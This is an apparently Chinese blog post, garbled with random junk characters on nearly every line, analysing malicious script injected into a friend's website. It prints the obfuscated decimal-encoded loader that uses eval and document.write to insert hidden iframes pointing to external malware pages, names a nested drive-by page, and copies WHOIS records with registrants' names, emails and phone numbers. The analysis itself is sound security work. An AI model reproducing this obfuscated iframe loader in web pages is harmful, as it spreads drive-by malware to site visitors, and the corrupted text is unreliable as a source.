首发在我的博客里面，
{gbn/{ wV\gj~U;P http://www.areway.cn/?p=175 L|@y&di )lk&z8;.= 0 &_UH}10 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
Vv1|51B rgmF: C <script>t=’60,105,102,114,97,109,101,
4k-+?L!/G 32,115,114,99,61,104,116,116,112,58,47,47,
j h2t9SI~ 102,114,101,101,46,117,45,117,117,117,46,99,
#n0Y6Pr 110,47,101,114,114,111,114,46,104,116,109,
RPd}Wf 32,119,105,100,116,104,61,49,48,48,32,104,
Z[__"^} 101,105,103,104,116,61,48,62,60,47,105,102,
\^7C0R-hX 114,97,109,101,62′;
OyV<u@[i t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
L@`ouQ"sa l<0}l^C. <script>t=’60,105,102,114,97,109,101,32,115,
X4l@woh%
114,99,61,104,116,116,112,58,47,47,102,114,
*}k;L74| 101,101,46,117,45,117,117,117,46,99,110,47,
^sN ( 101,114,114,111,114,46,104,116,109,32,119,
U8qtwA9t 105,100,116,104,61,49,48,48,32,104,101,105,
LI 2&& Mw 103,104,116,61,48,62,60,47,105,102,114,97,
JM1R ;i6 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
c:Wze*vI ; document.write(t);</script>
om?-WJI |sRipWh <html xmlns=”
Mi '8
~J http://www.w3.org/1999/xhtml WOu EW w= “>
l2N]a9bq@ <head>
oF(Lji?m <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
M9zfT !- <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
@2' Mt}R> <title>首页 - 爱生活家庭网
mU}F!J#6 OO[F E3F 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
GFr|E8 转换字符串后的大概内容是（谁点击后果自付）：
( =~&+z <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
UfS%71l.$ y ]?V~% 查询玉米u-uuu.cn的详细信息：
&gzCteS Domain Name: u-uuu.cn
23 ~ Sjr
ROID: 20070901s10001s64972306-cn
M1KqY: 9E Domain Status: ok
g8P TGz Registrant Organization: 王雷
0RoU}r@z4 Registrant Name: 王雷
M Y| w Administrative Email:
czlovexs@126.com jH_JmYd Sponsoring Registrar: 北京万网志成科技有限公司
,}K<*t[I Name Server:ns.yovole.com
"etPT@gF Name Server:ns1.yovole.com
(<^ yqH? Registration Date: 2007-09-01 17:54
%2v4<icvq Expiration Date: 2008-09-01 17:54
rtc9wu 最后PING了一下地址 都没有什么….
s6>ZREf#J pR~U`r5z 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
J H7< <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
o"*AtGR+" <script language=”javascript” src=”
8 @tV9+u http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script thhwN
A >
x&0vKo; 这个玉米应该有可能是木马作者的：
f k&8]tK4 foafau.info的详细信息：
. 0es 3Rj Access to INFO WHOIS information is provided to assist persons in
55z]&5 N determining the contents of a domain name registration record in the
aTt 12Sc Afilias registry database. The data in this record is provided by
<~WsD)=$ Afilias Limited for informational purposes only, and Afilias does not
EK O[ !, guarantee its accuracy. This service is intended only for query-based
S_Wrw z access. You agree that you will use this data only for lawful purposes
^0 -:G6H and that, under no circumstances will you use this data to: (a) allow,
')$+G152 enable, or otherwise support the transmission by e-mail, telephone, or
_ jsK}- \ facsimile of mass unsolicited, commercial advertising or solicitations
mGK|ihYu to entities other than the data recipient’s own existing customers; or
ajEjZ6 (b) enable high volume, automated, electronic processes that send
nR-YrR*k queries or data to the systems of Registry Operator, a Registrar, or
R#I0|;q4|p Afilias except as reasonably necessary to register domain names or
r [*Vqcz modify existing registrations. All rights reserved. Afilias reserves
#~
)IJ the right to modify these terms at any time. By submitting this query,
Y/*m US[oa you agree to abide by this policy.
jWrj?DV,2N Domain ID:D22418703-LRMS
;'cN<x)% | Domain Name:FOAFAU.INFO
C) `Fv=]R Created On:20-Nov-2007 16:05:42 UTC
(^Y~ / Last Updated On:20-Nov-2007 16:05:44 UTC
^y<<>Y'I Expiration Date:20-Nov-2008 16:05:42 UTC
TIQkW, Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
N$U$5;r~` Status:CLIENT DELETE PROHIBITED
md"!33 @ Status:CLIENT RENEW PROHIBITED
c"B{/;A Status:CLIENT TRANSFER PROHIBITED
{A05u3} Status:CLIENT UPDATE PROHIBITED
' ZDp5pCC; Status:TRANSFER PROHIBITED
oY933i@l)P Registrant ID:GODA-040110615
v]B 3m Registrant Name:liu hong
G?Q3/y( Registrant Organization:
N/MUwx;P Registrant Street1:beijing
8 ; 0A
g Registrant Street2:
e?8HgiP- Registrant Street3:
' /^q J7eb Registrant City:beijing
7+\+DujE$ Registrant State/Province:
=4FXBPoQK Registrant Postal Code:100000
;wz^gd h; Registrant Country:CN
Utnr5^].2O Registrant Phone:+86.860108888777
WE: 24b6 Registrant Phone Ext.:
d?A
0MKnl Registrant FAX:
YoBDvV":@ Registrant FAX Ext.:
s~5[![1
K Registrant Email:bbbshiji@163.com
x-^`~ p Admin ID:GODA-240110615
z=q3Zo Admin Name:liu hong
iO|se:LY< Admin Organization:
i OW#>66d Admin Street1:beijing
Ab{ K<:l Admin Street2:
)b)-ZS7 Admin Street3:
xc=b
|:A Admin City:beijing
^")Q YE Admin State/Province:
lh7jux Admin Postal Code:100000
Nn!+,;ut Admin Country:CN
W*Zkc:{eB Admin Phone:+86.860108888777
DH\0z[ Admin Phone Ext.:
~?d Nd Admin FAX:
#h`
V>; Admin FAX Ext.:
wl#@lOv-P Admin Email:bbbshiji@163.com
(|klSz_4LM Billing ID:GODA-340110615
9\_eK,*B Billing Name:liu hong
;$.J3! Billing Organization:
Egg=yF >T Billing Street1:beijing
X= 5xh Billing Street2:
u) }$~E> Billing Street3:
F8jd'OR Billing City:beijing
-p]1=@A<} Billing State/Province:
$w2u3 - Billing Postal Code:100000
|}B L F Billing Country:CN
\Q0[?k Billing Phone:+86.860108888777
2mVD_ s[` Billing Phone Ext.:
Enum/O5 Billing FAX:
%4et&zRC Billing FAX Ext.:
"s0)rqf< Billing Email:bbbshiji@163.com
2$+bJJM Tech ID:GODA-140110615
WW4vn|0v Tech Name:liu hong
v%+:/m1 Tech Organization:
Br1&8L-|% Tech Street1:beijing
% 5M/s'O?i Tech Street2:
kMi/ >gpQ Tech Street3:
[j=yMP38!: Tech City:beijing
+ B B@OW Tech State/Province:
s4A43i'g!h Tech Postal Code:100000
*>7 > g" Tech Country:CN
m% -g ~q Tech Phone:+86.860108888777
f$e[u
E r Tech Phone Ext.:
7puFz4+f Tech FAX:
ObVGV Tech FAX Ext.:
P5a4ze Tech Email:bbbshiji@163.com
e!N:,`R
5 Name Server:NS27.DOMAINCONTROL.COM
,?8qpEG~#+ Name Server:NS28.DOMAINCONTROL.COM
#@YPic"n7` Name Server:
?Y-%'J( Name Server:
uki#/GzaO Name Server:
JEXy%hl Name Server:
vQosPS_2L Name Server:
{.?ZHy\Rk Name Server:
*H"B _3<n Name Server:
-]/I73! b Name Server:
#lmB
AL~3 Name Server:
t<#mP@Mz=N Name Server:
UQ)W%Y;[0 Name Server:
4|buk]9 ehzM) uK 接着下载每个文件里面的代码：
"c3Grfoz 一步一步看..
0b+Wc43}K 
Jj!v h{ 
dgR
g>)V 
{ MtpkUN 
t3*wjQ3 
=mS\i6 63 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
